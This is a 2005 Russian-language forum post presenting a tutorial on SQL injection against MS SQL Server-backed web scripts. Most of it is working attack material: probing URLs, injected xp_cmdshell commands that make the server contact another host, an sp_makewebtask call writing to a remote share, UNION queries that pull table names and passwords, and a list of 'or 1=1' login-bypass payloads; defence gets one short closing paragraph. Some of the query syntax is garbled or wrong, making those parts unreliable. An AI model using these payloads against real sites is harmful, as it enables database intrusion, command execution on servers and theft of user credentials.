Статьи MS SQL Injection

Discussion in 'Статьи' started by k00p3r, 12 Jun 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    SQL базы используются во всeх серьезных скриптах с авторизацией (потому что использовать файлы считается глупым и неправильным). Обычно там хранят пароли пользователей. Итак, SQL-injection - один из самых частых в наше время способов взлома скриптов.

    Что такое SQL-injection? Это отправка базе данных SQL команды на выполнение через web скрипт, расположенный на доступной рядовому пользователю веб-странице.

    Для начала построим цепь, по которой связываются пользователь с базой данных: пользователь заходит на страницу, пишет свое имя и пароль, после нажатие на кнопки типа Submit страница проверяет правильность данных и отправляет данные веб серверу, веб сервер формирует SQL запрос и передает его базе данных (Веб сервер не проверяет, может ли ваш запрос взломать базу данных!), она проверяет запрос и возвращает результат скрипту, который выдает пользователю ответ. Таким образом есть только одно потенциально уязвимое место: передача данных скрипту. Итак, ищем скрипты, которые могут быть уязвимы. А уязвим может быть любой скрипт, который обращается к базе как post, так и get методом.

    Почему SQL базу можно обмануть? Она ведь просто сопоставляет записи? Да, но в ней еще есть и другие команды, которые делают ее уязвимой. Вот самые частые в использовании операторы:

    -- коментарий
    + пробел
    ' конец выражения
    & и
    ,@ex где ex - переменная добавляет новую переменную
    ?ex=1 присваивает переменной ex значение 1.
    set создание еще одной переменной

    Перед взломом необходимо узнать как можно больше о запросе, а именно:

    1) все переменные
    2) процедура, которой они передаются
    3) какие-то параметры для этих переменных
    4) наличие ошибок при лишних, других, недостатке символов

    Например, введем www.example.ru/index.php?user=1&pass=2'mustdie. Тогда при неправильной обработке скриптом оно вызовет ошибку в Microsoft OLE DB Provaider for ODBC Drivers, что покажет, что возможность лишнего параметра не обрабатывается скриптом.

    Попробуем написать www.example.ru/index.php?mustdie=123 и если скрипт сделан неправильно, то появится ошибка с надписью, что первым параметром должен быть другой (и он будет указан), так можно узнать все возможные параметры запроса. Если попробовать вводить другие символы (вышеприведенные, например), то может вывестись ошибка о том, в какой процедуре была вызвана ошибка.

    Можно вводить разные данные, например:

    www.example.ru/index.php?user=1&user=1
    www.example.ru/index.php?user=1,@succes=true
    www.example.ru/index.php?user=1+set+@succes=true

    Если результат база выдает как переменную succes, то мы попытаемся создать такую переменную и дать ей значение true.

    www.example.ru/index.php?user=1+print

    что может вывести нам таблицу базы SQL. Можно попытаться вывести переменную pass для этого поля user:

    www.example.ru/index.php?user=1+print+@@pass

    Можно использовать команды, связанные с конкретными базами данных. Так, например, у MS SQL Server есть следующие команды:

    xp_enumgroups (группы из ОС Windows)
    xp_ntsec_enumdomains (список доменов сети)
    xp_enumdsn (источники данных ODBC)
    xp_loginconfig (инфо о пользователе)
    xp_logininfo (все пользователи, залогинившиеся на данныйц момент в системе)
    xp_msver (версия SQL сервера)
    xp_cmdshell <команда> (исполнение файла через cmd.exe)
    xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
    xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
    xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
    sp_makewebtask (выполнение команды html вида).

    Зная команды приведем принцип работы одной из них. Введем в url:

    www.example.ru/index.asp?user=1'; exec master..xp_cmdshell 'telnet 192.168.0.0' --

    Если команда выполнится успешно, сервер должен соединиться через telnet с адресом 192.168.0.0 (правда, telnet может быть заблокирован с помощью firewall и тогда соединения не произойдет, но можно использовать команду ping для проверки работы уязвимости).

    Может понадобиться (хотя я с такими случаями не встречался) запихнуть текст подкоманды в html:

    '; EXEC master..sp_makewebtask "\\192.168.0.0\sharedocs\Rabotaet.ura",
    "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    Это создаст на указанном компьютере данный файл благодаря sp_makewebtask.

    С командой exec мы разобрались, теперь посмотрим команды Union и Insert. Команда insert позволяет добавлять данные в таблицу. Синтаксис команды:

    INSERT INTO table (value1; value2; value3; etc.)
    VALUES (value1; value2; value3; etc.)

    Таким образом можно написать

    www.example.ru/index.asp?user=1 INSERT
    INTO 'logins' ('number', 'login', 'pass')
    VALUES (1,'makarov','password')--

    Теперь перейдем к команде union. Синтаксис команды Union таков:

    UNION ALL SELECT field FROM table WHERE condition

    и служит она для извлечения столбцов из таблицы. C помощью union можно, например, узнать имена таблиц SQL базы. Введем

    www.example.ru/index.asp?user=1 UNION SELECT
    TOP 10 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    после чего в ошибке мы увидим имя таблиц. Потом можно создать такой же запрос с условием

    WHERE TABLE_NAME NOT IN ('table_we_now')--

    Зная имена таблиц, можно узнать из них имена столбцов:

    www.example.ru/index.asp?user=1 UNION SELECT
    TOP 10 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
    WHERE TABLE_NAME='password'--

    что выдаст имя колонок. Теперь зная имена столбцов и таблиц можно узнать строки из них:

    www.example.ru/index.asp?user=1 UNION SELECT
    TOP 1 login FROM login--

    а зная все это можно получить значения для этих строк:

    www.example.ru/index.asp?user=1 UNION SELECT
    TOP 1 password FROM logins where login='makarov'--

    Вводя поле аутентификации можно так же попытаться выполнить "хитрые" команды и попытаться обойти систему авторизации. Введем в поле логин: Admin (или что-то подобное), а в поле пароль - password'or 1=1--

    Если все получится, SQL сервер примет поле пароль за две составляющих, причем достаточно чтобы выполнялась хотя бы одна из них: слово password совпадает с полем указанным в базе данных для пользователя Admin или 1=1. Поскольку второе условие всегда true то мы должны пройти авторизацию.

    Возможными комбинациями вместо ' or 1=1-- могут быть:

    " or 1=1--
    or 1=1--
    ' or 'a'='a
    " or "a"="a
    ') or ('a'='a
    и пр.

    Разбирая исходные коды скрипта, найти уязвимость достаточно просто. Достаточно встретить строки подобно

    user = request("user_id")
    sqlstr="SELECT * FROM product WHERE PCategory='" & user & "'"
    set rs=conn.execute(sqlstr)

    После чего найти место, где фильтруются символы для переменной user и определить слабое звено.

    Теперь уделим немного слов защите. Что нужно делать? Да, кажется, делать почти ничего не надо. Всего лишь проверять вводимые пользователем данные, cookies и данные, передающиеся в параметрах url. Саму базу оставить без особых привилегий, а так же отключить опасные кoманды.


    Автор: Макаров Тихон